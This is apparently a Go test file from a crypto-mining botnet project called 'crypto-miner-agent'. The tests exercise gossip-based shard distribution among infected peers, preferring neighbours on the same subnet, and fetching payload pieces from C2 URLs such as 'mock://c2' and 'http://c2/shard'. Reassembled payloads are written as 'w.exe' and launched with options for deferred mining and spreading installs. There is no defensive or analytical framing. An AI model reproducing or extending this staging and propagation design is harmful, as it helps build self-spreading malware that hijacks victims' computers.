package deploy import ( "fmt" "testing" "crypto-miner-agent/config" "github.com/klauspost/reedsolomon" ) func TestFleetShardDHTMergeAndFetch(t *testing.T) { dht := &FleetShardDHT{ peers: make(map[string]map[int][]ShardPeer), healthy: make(map[string]bool), local: make(map[string]map[int][]byte), } dht.MergeFleetGossipRecords([]FleetGossipRecord{{ Kind: FleetGossipHaveShard, AgentID: "peer-a", Subnet: "10.1.2", Token: "tok1", ShardIndex: 0, FetchURL: "mock://shard0", }}) payload := []byte("fleet-torrent-roundtrip") p := erasureParams{DataShards: 2, ParityShards: 1} enc, _ := reedsolomon.New(p.DataShards, p.ParityShards) shards, _ := enc.Split(payload) _ = enc.Encode(shards) prev := erasureFetchFn erasureFetchFn = func(url string) ([]byte, error) { if url == "mock://shard0" { return shards[0], nil } if url == "mock://c2" { return shards[1], nil } return nil, nil } defer func() { erasureFetchFn = prev }() body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "10.1.2", dht) if err != nil || string(body) != string(shards[0]) { t.Fatalf("fetch=%v err=%v", body, err) } plan := ErasurePlanBody{ Enabled: true, Scheme: erasureSchemeReedSolomonV1, DataShards: p.DataShards, ParityShards: p.ParityShards, PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload), ShardToken: "tok1", Dest: t.TempDir() + `\w.exe`, Launch: "exe", Shards: []ErasureShardRef{ {Index: 0, URL: "mock://c2"}, {Index: 1, URL: "mock://c2"}, {Index: 2, URL: "mock://c2"}, }, } dht.MergeFleetGossipRecords([]FleetGossipRecord{{ Kind: FleetGossipHaveShard, AgentID: "peer-b", Subnet: "10.9.9", Token: "tok1", ShardIndex: 1, FetchURL: "mock://shard1", }}) erasureFetchFn = func(url string) ([]byte, error) { switch url { case "mock://shard0": return shards[0], nil case "mock://shard1": return shards[1], nil case "mock://c2": return nil, nil } return nil, nil } prevLaunch := erasureLaunchFn erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { return "ok", nil } defer func() { erasureLaunchFn = prevLaunch }() SetFleetShardDHT(dht) msg, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ FleetTorrentEnabled: true, WorkerName: "w", }}, plan, "", "10.1.2") if err != nil { t.Fatal(err) } if msg == "" { t.Fatal("empty msg") } } func TestPickLANNeighborPeersCapsAtThree(t *testing.T) { peers := []ShardPeer{ {AgentID: "a", Subnet: "10.0.0"}, {AgentID: "b", Subnet: "10.0.0"}, {AgentID: "c", Subnet: "10.0.0"}, {AgentID: "d", Subnet: "10.0.0"}, } got := PickLANNeighborPeers(peers, "10.0.0", 3) if len(got) != 3 { t.Fatalf("len=%d", len(got)) } } func TestParseSwarmMagnetToken(t *testing.T) { m := "magnet:?xt=urn:sha256:abc&dn=aetherforge-erasure-deadbeef&tr=urn:aetherforge:erasure:deadbeefcafe" if tok := ParseSwarmMagnetToken(m); tok != "deadbeefcafe" { t.Fatalf("token=%q", tok) } } func TestFetchErasureShardFleetLocalCacheWins(t *testing.T) { dht := &FleetShardDHT{ peers: make(map[string]map[int][]ShardPeer), healthy: make(map[string]bool), local: make(map[string]map[int][]byte), } dht.StoreLocalShard("tok", 0, []byte("cached")) prev := erasureFetchFn erasureFetchFn = func(url string) ([]byte, error) { t.Fatalf("unexpected fetch %q", url) return nil, nil } defer func() { erasureFetchFn = prev }() body, err := FetchErasureShardFleet("tok", 0, "http://c2/shard", "10.0.0", dht) if err != nil || string(body) != "cached" { t.Fatalf("body=%q err=%v", body, err) } } func TestFetchErasureShardFleetPrefersLANNeighbors(t *testing.T) { dht := &FleetShardDHT{ peers: make(map[string]map[int][]ShardPeer), healthy: make(map[string]bool), local: make(map[string]map[int][]byte), } dht.MergeFleetGossipRecords([]FleetGossipRecord{ {Kind: FleetGossipHaveShard, AgentID: "lan", Subnet: "10.1.2", Token: "tok", ShardIndex: 0, FetchURL: "mock://lan"}, {Kind: FleetGossipHaveShard, AgentID: "remote", Subnet: "10.9.9", Token: "tok", ShardIndex: 0, FetchURL: "mock://remote"}, }) var tried []string prev := erasureFetchFn erasureFetchFn = func(url string) ([]byte, error) { tried = append(tried, url) if url == "mock://lan" { return []byte("lan-shard"), nil } return nil, fmt.Errorf("fail") } defer func() { erasureFetchFn = prev }() body, err := FetchErasureShardFleet("tok", 0, "mock://c2", "10.1.2", dht) if err != nil || string(body) != "lan-shard" { t.Fatalf("body=%q err=%v tried=%v", body, err, tried) } if len(tried) != 1 || tried[0] != "mock://lan" { t.Fatalf("tried=%v", tried) } }